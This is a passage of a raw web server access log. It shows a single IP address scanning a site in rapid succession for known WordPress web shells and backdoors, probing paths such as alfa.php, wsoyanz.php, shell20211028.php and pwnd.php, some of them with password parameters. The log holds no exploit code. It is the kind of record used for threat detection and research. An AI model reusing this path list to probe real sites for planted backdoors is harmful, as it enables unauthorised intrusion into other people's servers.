795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:45:13 -0400] "GET /wp-blog.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:45:15 -0400] "GET /wp-blog.php?pass=hill HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:45:16 -0400] "GET /wp-checkbex.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:45:17 -0400] "GET /wp-class.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:45:18 -0400] "GET /wp-cli.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:45:19 -0400] "GET /wp-conf.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:45:21 -0400] "GET /wp-conf.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:45:21 -0400] "GET /wp-config-sample.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:45:22 -0400] "GET /wp-configs.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:45:23 -0400] "GET /wp-configs.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:45:24 -0400] "GET /wp-confiig.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:45:24 -0400] "GET /wp-conflg.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:45:25 -0400] "GET /wp-conflg.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:45:26 -0400] "GET /wp-content/ HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:45:26 -0400] "GET /wp-content//auto.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:45:27 -0400] "GET /wp-content/about.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:45:28 -0400] "GET /wp-content/about.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:45:28 -0400] "GET /wp-content/admin.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:45:29 -0400] "GET /wp-content/alfa.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:45:30 -0400] "GET /wp-content/atomlib.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:45:31 -0400] "GET /wp-content/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:45:32 -0400] "GET /wp-content/autoload_classmap.php/ HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:45:34 -0400] "GET /wp-content/b.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:45:36 -0400] "GET /wp-content/blogs.dir/about.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:45:37 -0400] "GET /wp-content/blue.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:45:38 -0400] "GET /wp-content/cache/index.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:45:39 -0400] "GET /wp-content/cache/w.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:45:40 -0400] "GET /wp-content/cong.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:45:41 -0400] "GET /wp-content/content.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:45:42 -0400] "GET /wp-content/file.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:45:43 -0400] "GET /wp-content/fonts/ HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:45:43 -0400] "GET /wp-content/function.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:45:44 -0400] "GET /wp-content/gallery/ HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:45:45 -0400] "GET /wp-content/gallery/about.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:45:46 -0400] "GET /wp-content/index.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:45:47 -0400] "GET /wp-content/index.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:45:47 -0400] "GET /wp-content/index.php?x=ooo HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:45:48 -0400] "GET /wp-content/install.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:45:49 -0400] "GET /wp-content/item.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:45:49 -0400] "GET /wp-content/json.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:45:50 -0400] "GET /wp-content/languages/about.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:45:50 -0400] "GET /wp-content/languages/asus.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:45:51 -0400] "GET /wp-content/languages/chosen.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:45:52 -0400] "GET /wp-content/languages/ebbqviXwm.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:45:53 -0400] "GET /wp-content/languages/index.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:45:53 -0400] "GET /wp-content/languages/themes/ HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:45:54 -0400] "GET /wp-content/languages/themes/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:45:55 -0400] "GET /wp-content/languages/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:45:55 -0400] "GET /wp-content/mah.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:45:56 -0400] "GET /wp-content/mu-plugins-old/ HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:45:57 -0400] "GET /wp-content/mu-plugins-old/admin.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:45:58 -0400] "GET /wp-content/mu-plugins-old/index.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:45:59 -0400] "GET /wp-content/mu-plugins/ HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:45:59 -0400] "GET /wp-content/mu-plugins/about.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:46:00 -0400] "GET /wp-content/mu-plugins/item.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:46:01 -0400] "GET /wp-content/packed.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:46:04 -0400] "GET /wp-content/plugin.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:46:05 -0400] "GET /wp-content/plugins/ HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:46:06 -0400] "GET /wp-content/plugins//about.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:46:07 -0400] "GET /wp-content/plugins//hello.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:46:08 -0400] "GET /wp-content/plugins//index.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:46:09 -0400] "GET /wp-content/plugins/Duplicatepost/src/ui/sidwso.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:46:10 -0400] "GET /wp-content/plugins/TOPXOH/wDR.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:46:12 -0400] "GET /wp-content/plugins/WordPressCore/ HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:46:13 -0400] "GET /wp-content/plugins/WordPressCore/include.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:46:14 -0400] "GET /wp-content/plugins/about.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:46:15 -0400] "GET /wp-content/plugins/about.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:46:17 -0400] "GET /wp-content/plugins/admin.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:46:18 -0400] "GET /wp-content/plugins/alfa-rex.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:46:19 -0400] "GET /wp-content/plugins/ango/sett.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:46:20 -0400] "GET /wp-content/plugins/apikey/natural.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:46:21 -0400] "GET /wp-content/plugins/b.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:46:23 -0400] "GET /wp-content/plugins/classic-editor/ HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:46:24 -0400] "GET /wp-content/plugins/classic-editor//about.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:46:26 -0400] "GET /wp-content/plugins/classic-editor//classic-editor.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:46:28 -0400] "GET /wp-content/plugins/core-plugin/include.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:46:29 -0400] "GET /wp-content/plugins/core-plugin/wp-error_log.php?dir=. HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:46:30 -0400] "GET /wp-content/plugins/core/include.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:46:31 -0400] "GET /wp-content/plugins/dummyyummy/wp-signup.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:46:32 -0400] "GET /wp-content/plugins/elementor/ HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:46:33 -0400] "GET /wp-content/plugins/elementor//elementor-object.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:46:34 -0400] "GET /wp-content/plugins/elementor//wp-login.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:46:35 -0400] "GET /wp-content/plugins/elementor/about.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:46:36 -0400] "GET /wp-content/plugins/elementor/includes/settings/ HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:46:36 -0400] "GET /wp-content/plugins/elementor/wp-error_log.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:46:37 -0400] "GET /wp-content/plugins/erinyani/ HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:46:38 -0400] "GET /wp-content/plugins/erinyani/yani/ HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:46:38 -0400] "GET /wp-content/plugins/fix/00.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:46:39 -0400] "GET /wp-content/plugins/fix/up.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:46:40 -0400] "GET /wp-content/plugins/goods.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:46:41 -0400] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:46:42 -0400] "GET /wp-content/plugins/html404/index.html HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:46:42 -0400] "GET /wp-content/plugins/index.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:46:43 -0400] "GET /wp-content/plugins/index.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:46:45 -0400] "GET /wp-content/plugins/ioxi/ioxi/ HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:46:45 -0400] "GET /wp-content/plugins/linkpreview/ HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:46:46 -0400] "GET /wp-content/plugins/linkpreview/db.php?u HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:46:47 -0400] "GET /wp-content/plugins/linkpreview/index.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:46:48 -0400] "GET /wp-content/plugins/not/includes/about.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:46:49 -0400] "GET /wp-content/plugins/one-click-demo-import//about.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:46:50 -0400] "GET /wp-content/plugins/pwnd-1/pwnd.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:46:51 -0400] "GET /wp-content/plugins/pwnd/block-support.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:46:51 -0400] "GET /wp-content/plugins/pwnd/pwnd.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:46:52 -0400] "GET /wp-content/plugins/pwnd/pwnd.php/ HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:46:53 -0400] "GET /wp-content/plugins/pwnd/z4x.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:46:54 -0400] "GET /wp-content/plugins/revslider/includes/external/page/ HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:46:55 -0400] "GET /wp-content/plugins/revslider/includes/external/page/index.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:46:56 -0400] "GET /wp-content/plugins/seo-by-rank-math//wp-casper.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:46:57 -0400] "GET /wp-content/plugins/seoo/wsoyanz.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:46:57 -0400] "GET /wp-content/plugins/seoo/wsoyanz1.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:46:58 -0400] "GET /wp-content/plugins/seoplugins/ HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:46:59 -0400] "GET /wp-content/plugins/seoplugins/db.php?u HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:46:59 -0400] "GET /wp-content/plugins/seoplugins/index.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:47:00 -0400] "GET /wp-content/plugins/seoplugins/mar.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:47:01 -0400] "GET /wp-content/plugins/seox/ HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:47:01 -0400] "GET /wp-content/plugins/sid/sidwso.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:47:02 -0400] "GET /wp-content/plugins/ubh/up.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:47:03 -0400] "GET /wp-content/plugins/wordpresss3cll/includes.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:47:03 -0400] "GET /wp-content/plugins/wordpresss3cll/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:47:04 -0400] "GET /wp-content/plugins/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:47:05 -0400] "GET /wp-content/plugins/wp-conflg.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:47:05 -0400] "GET /wp-content/plugins/wp-help/ HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:47:06 -0400] "GET /wp-content/plugins/wp-help/admin/wp-fclass.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:47:07 -0400] "GET /wp-content/plugins/wp-help/index.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:47:07 -0400] "GET /wp-content/plugins/wp-help/mini.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:47:08 -0400] "GET /wp-content/plugins/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:47:09 -0400] "GET /wp-content/plugins/wp-sec/ab.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:47:09 -0400] "GET /wp-content/plugins/wp-theme-editor/include.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:47:10 -0400] "GET /wp-content/plugins/wp.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:47:11 -0400] "GET /wp-content/plugins/x/index.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:47:12 -0400] "GET /wp-content/plugins/yyobang/mar.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:47:13 -0400] "GET /wp-content/radio.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:47:14 -0400] "GET /wp-content/shell20211028.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:47:14 -0400] "GET /wp-content/themes/ HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:47:15 -0400] "GET /wp-content/themes//inpust.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:47:16 -0400] "GET /wp-content/themes/Divi/includes/builder/frontend-builder/assets/vendors/plugins/fullscreen/ HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:47:17 -0400] "GET /wp-content/themes/aahana/ HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:47:17 -0400] "GET /wp-content/themes/aahana/json.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:47:18 -0400] "GET /wp-content/themes/about.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:47:19 -0400] "GET /wp-content/themes/about.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:47:20 -0400] "GET /wp-content/themes/admin.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:47:21 -0400] "GET /wp-content/themes/alera/alpha.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:47:22 -0400] "GET /wp-content/themes/astra/inc/fm.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:47:23 -0400] "GET /wp-content/themes/astra/inc/ki1k.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:47:24 -0400] "GET /wp-content/themes/astra/inc/network.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:47:24 -0400] "GET /wp-content/themes/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:47:25 -0400] "GET /wp-content/themes/cay-van-phong/filemanager.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:47:26 -0400] "GET /wp-content/themes/classic/inc/ HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:47:27 -0400] "GET /wp-content/themes/classic/inc/admiin.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:47:29 -0400] "GET /wp-content/themes/digital-download/ HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:47:30 -0400] "GET /wp-content/themes/file.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:47:31 -0400] "GET /wp-content/themes/finley/min.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:47:32 -0400] "GET /wp-content/themes/fitnessbase/404.php?ok HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:47:33 -0400] "GET /wp-content/themes/hello-element/footer.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:47:35 -0400] "GET /wp-content/themes/hideo/network.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:47:36 -0400] "GET /wp-content/themes/include.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:47:38 -0400] "GET /wp-content/themes/index.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:47:40 -0400] "GET /wp-content/themes/index.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:47:41 -0400] "GET /wp-content/themes/index.php?pass=1313 HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:47:43 -0400] "GET /wp-content/themes/intense/block-css.php?mode=upload HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:47:44 -0400] "GET /wp-content/themes/newstoday/lang.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:47:44 -0400] "GET /wp-content/themes/pridmag/1.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:47:45 -0400] "GET /wp-content/themes/pridmag/db.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:47:46 -0400] "GET /wp-content/themes/pridmag/db.php?u HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:47:46 -0400] "GET /wp-content/themes/seotheme/ HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:47:47 -0400] "GET /wp-content/themes/seotheme/db.php?u HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:47:47 -0400] "GET /wp-content/themes/seotheme/mar.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:47:48 -0400] "GET /wp-content/themes/seotheme/mar.php?d=2f6e61732f636f6e74656e742f6c6976652f72616368656c73626c6f672f77702d636f6e74656e742f7468656d65732f73656f7468656d65&1 HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:47:49 -0400] "GET /wp-content/themes/sketch/404.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:47:49 -0400] "GET /wp-content/themes/tflow/up.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:47:50 -0400] "GET /wp-content/themes/travel/issue.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:47:50 -0400] "GET /wp-content/themes/twenty/twenty.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:47:51 -0400] "GET /wp-content/themes/twentyfive/include.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:47:52 -0400] "GET /wp-content/themes/twentytwenty/ HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:47:52 -0400] "GET /wp-content/themes/twentytwenty/404.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:47:53 -0400] "GET /wp-content/themes/twentytwentyfour/ HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:47:54 -0400] "GET /wp-content/themes/twentytwentythree/patterns/index.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:47:54 -0400] "GET /wp-content/themes/twentytwentytwo/index.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:47:55 -0400] "GET /wp-content/themes/wp-pridmag/admin.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:47:56 -0400] "GET /wp-content/themes/wp-pridmag/classwithtostring.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:47:56 -0400] "GET /wp-content/themes/wp-pridmag/init.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:47:57 -0400] "GET /wp-content/themes/wp-pridmag/up.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:47:58 -0400] "GET /wp-content/themes/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:47:58 -0400] "GET /wp-content/themes/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:47:59 -0400] "GET /wp-content/themes/zrt.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:48:00 -0400] "GET /wp-content/updraft/about.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:48:02 -0400] "GET /wp-content/updraft/themes.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:48:03 -0400] "GET /wp-content/upgrade-temp-backup/about.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:48:03 -0400] "GET /wp-content/upgrade-temp-backup/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:48:04 -0400] "GET /wp-content/upgrade/ HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:48:05 -0400] "GET /wp-content/upgrade/about.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:48:06 -0400] "GET /wp-content/upgrade/admiin.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:48:07 -0400] "GET /wp-content/upgrade/admin.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:48:08 -0400] "GET /wp-content/upgrade/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:48:09 -0400] "GET /wp-content/upgrade/index.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:48:10 -0400] "GET /wp-content/upgrade/wp-sigunq.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:48:11 -0400] "GET /wp-content/uploads/ HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:48:12 -0400] "GET /wp-content/uploads//good.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:48:13 -0400] "GET /wp-content/uploads//load-scripts-page.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:48:14 -0400] "GET /wp-content/uploads//ms-sites-modify.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:48:15 -0400] "GET /wp-content/uploads//network-settings.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:48:16 -0400] "GET /wp-content/uploads//wp-backup.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:48:17 -0400] "GET /wp-content/uploads/2019//dog.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:48:18 -0400] "GET /wp-content/uploads/2019//mini.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:48:19 -0400] "GET /wp-content/uploads/2020/admin.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:48:21 -0400] "GET /wp-content/uploads/2021//snwphriucoj.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:48:21 -0400] "GET /wp-content/uploads/2021/03/ HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:48:22 -0400] "GET /wp-content/uploads/2022/07/ HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:48:23 -0400] "GET /wp-content/uploads/2023/ HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:48:23 -0400] "GET /wp-content/uploads/2023/03/ HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:48:24 -0400] "GET /wp-content/uploads/2023/05/ HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:48:25 -0400] "GET /wp-content/uploads/2023/05/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 